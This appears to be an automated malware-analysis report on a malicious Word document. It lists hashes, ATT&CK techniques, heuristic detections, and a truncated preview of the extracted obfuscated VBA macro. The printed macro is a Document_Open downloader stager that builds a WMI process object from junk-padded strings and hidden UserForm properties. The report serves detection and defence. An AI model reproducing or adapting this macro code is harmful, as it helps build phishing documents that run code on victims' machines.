Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 68069b9986bb8242…

MALICIOUS

Office (OLE)

184.6 KB Created: 2020-08-21 03:00:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 7efa097cd05745bf26eda4c855bfc43e SHA-1: 103f65c077e7a1bfd2dfd8a2f7161ca25e183dd3 SHA-256: 68069b9986bb82424ca0fa41ab5e79ccb4ef36d3880248b809b1445cbb60d152
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of malicious intent. The macro's obfuscated nature and use of CreateObject suggest it attempts to download and execute a second-stage payload. The ClamAV detection further supports its malicious classification.

Heuristics 7

  • ClamAV: Doc.Malware.Generic-9443669-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-9443669-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10244 bytes
SHA-256: db55b957cea96567de976710d9115422ef53744f2135b477d1fb33ec96f00f59
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Alcuua1f6cz43"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Kspbt64011mx.Qedhn5u2y37lf
End Sub


Attribute VB_Name = "Kspbt64011mx"
Attribute VB_Base = "0{6828DEA7-8DD1-45D0-BEDB-B7596C0F0EEE}{D9E8ABB9-F000-402D-8A1A-BAA52505A411}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Qedhn5u2y37lf()
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Pq8bhc78vz6cpnu = Kspbt64011mx.BorderStyle + 100
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Tm9p7p_uqsr = ChrW(Pq8bhc78vz6cpnu + (15))
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Bzf0zpi8daze0 = "15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]w15df qhs1g 2[s55da znb183b]i15df qhs1g 2[s55da znb183b]nm15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]gm15df qhs1g 2[s55da znb183b]t15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]" + Tm9p7p_uqsr + "15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]:15df qhs1g 2[s55da znb183b]w15df qhs1g 2[s55da znb183b]in15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]315df qhs1g 2[s55da znb183b]215df qhs1g 2[s55da znb183b]_15df qhs1g 2[s55da znb183b]" + Kspbt64011mx.M4aiik96_6gwqlq + "15df qhs1g 2[s55da znb183b]ro15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]ce15df qhs1g 2[s55da znb183b]s15df qhs1g 2[s55da znb183b]s15df qhs1g 2[s55da znb183b]"
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Twdf4tykyvwfj = W5oqk6cwnlszoma(Bzf0zpi8daze0)
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Set Oap3km1unuuxg1m92 = CreateObject(Twdf4tykyvwfj)
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
K28yqxl3yqoqosn32 = Kspbt64011mx.Kz4b6kzgp6aa.ControlTipText
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Qysc6357lsro8r20zx = Y73cauhmlqwr + 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.